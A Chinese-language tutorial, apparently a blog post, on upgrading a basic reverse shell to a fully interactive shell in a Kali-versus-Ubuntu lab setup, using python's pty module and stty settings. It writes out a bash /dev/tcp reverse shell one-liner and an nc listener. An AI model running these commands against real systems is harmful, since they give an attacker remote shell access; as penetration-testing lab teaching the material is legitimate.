反弹Shell升级为交互式Shell ——yzddMr6

前言

看hack the box的视频的时候,发现ippsec不喜欢用蚁剑,喜欢弹个shell回来。

然后一顿操作把一个简单的shell就升级到了一个标准交互式shell

写这篇文章记录一下

正文

攻击机:kali
靶机:ubuntu

首先ubuntu建一个新用户:test,密码 test

普通Shell

给kali弹shell

bash -i >& /dev/tcp/192.168.145.128/4444 0>&1 

kali

nc -lvvp 4444

然后发现这个shell有很多问题

  • 无法使用vim等文本编辑器
  • 不能补全
  • 不能su
  • 没有向上箭头使用历史
    等等
image

半交互式Shell

对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:

python -c 'import pty; pty.spawn("/bin/bash")' 

在创建完成后,我们此时就可以运行su命令了

image

但是还是存在很多问题

  • 无法使用vim等文本编辑器
  • 不能补全
  • 没有向上箭头使用历史

完全交互式Shell

命令:

$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color
image
image

此时已经拥有了一个完全交互式Shell,就可以使用上下左右,vi,tab补全等等一系列操作,并且按Ctrl-c也不会退出。


image

相关命令解析

stty -echo #禁止回显,当在键盘上输入时,并不出现在屏幕上
stty echo #打开回显
stty raw #设置原始输入
stty -raw #关闭原始输入

bg
将一个在后台暂停的命令,变成继续执行

fg
将后台中的命令调至前台继续运行

jobs
查看当前有多少在后台运行的命令

ctrl + z
可以将一个正在前台执行的命令放到后台,并且暂停

clear
这个命令将会刷新屏幕,本质上只是让终端显示页向后翻了一页,如果向上滚动屏幕还可以看到之前的操作信息。
 
reset
这个命令将完全刷新终端屏幕,之前的终端输入操作信息将都会被清空

参考链接

https://www.freebuf.com/news/142195.html